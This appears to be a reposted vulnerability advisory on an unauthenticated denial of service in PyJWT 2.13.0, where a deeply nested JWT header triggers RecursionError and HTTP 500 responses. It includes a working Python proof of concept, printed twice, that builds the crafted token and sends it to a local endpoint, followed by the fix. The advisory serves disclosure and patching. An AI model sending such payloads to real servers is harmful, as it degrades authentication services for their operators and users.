PyJWT, Unauthenticated RecursionError Denial of Service, CVE: Not Provided in Source (Medium) -DC-Sep2026-2646

Listen to this Post

Intro:

PyJWT 2.13.0 affected; 2.14.0 fixed.

PyJWS._load() is at jwt/api_jws.py:337.

It splits the compact JWS token.

It base64url decodes the header segment.

It passes header to json.loads().

This occurs before _verify_signature() runs.

The parse wraps except ValueError as e.

It raises DecodeError(…).

Documented contract uses except jwt.PyJWTError.

Or InvalidTokenError around jwt.decode(token, key, algorithms=[…]).

CPython JSON decoder raises RecursionError.

RecursionError is RuntimeError subclass.

It is not ValueError.

It leaves _load().

Then leaves jwt.decode().

It matches no PyJWTError handler.

No key and no valid signature needed.

Header is parsed first.

Single unauthenticated request with unsigned token suffices.

Recursion threshold is about 65,000 nesting levels.

Below threshold same input yields clean DecodeError.

A 346,800-byte flat header is rejected normally.

Depth, not size, is the trigger.

Large token cannot ride in Authorization header.

HTTP field limits reject it; 431 under gunicorn.

Body transport is RFC 7662 introspection style.

This body transport is a standard pattern.

Under Flask 3.1.3 / gunicorn 26.2.0 crafted requests return HTTP 500.

Expected was 401.

Each writes full traceback to error log.

Sync worker survives.

DailyCVE Form:

Platform: PyPI PyJWT
Version: 2.13.0 affected
Vulnerability: Unauthenticated RecursionError DoS
Severity: Medium
date: 2026-09-11

Prediction: 2026-09-11

What Undercode Say:

Analytics:

cd <package dir>
docker compose up -d --build
python3 poc_check_then_attack.py
docker compose down -v
import base64, json, http.client
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)
token = (b64url(b"[" 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()
conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30)
conn.request("POST", "/api/protected", body=json.dumps({"token": token}),
headers={"Content-Type": "application/json"})
print(conn.getresponse().status) 500, expected 401
20/20 crafted requests returned 500
PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7
0.12 s total, about 6 ms per tight loop request, 14 ms cold request
RecursionError: Stack overflow ... while decoding a JSON array

Exploit: (Educational Purposes!)

import base64, json, http.client
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)
token = (b64url(b"[" 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()
conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30)
conn.request("POST", "/api/protected", body=json.dumps({"token": token}),
headers={"Content-Type": "application/json"})
print(conn.getresponse().status) 500, expected 401
cd <package dir>
docker compose up -d --build
python3 poc_check_then_attack.py
docker compose down -v

Protection: from this CVE

except (ValueError, RecursionError) as e:
raise DecodeError(...)
pip install PyJWT==2.14.0
Catch RecursionError alongside ValueError in _load()
Raise DecodeError
Parse header with nonrecursive depth-bounded parser
Upgrade to PyJWT 2.14.0
Commit 06573692ebcdec8831c3927513b3e87c31fbbb62

Impact:

Unauthenticated attacker turns JWT validating endpoint requests into server errors
Full traceback logged per request
Cheap repeatable denial of service on authentication path
No crash, no data exposure

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top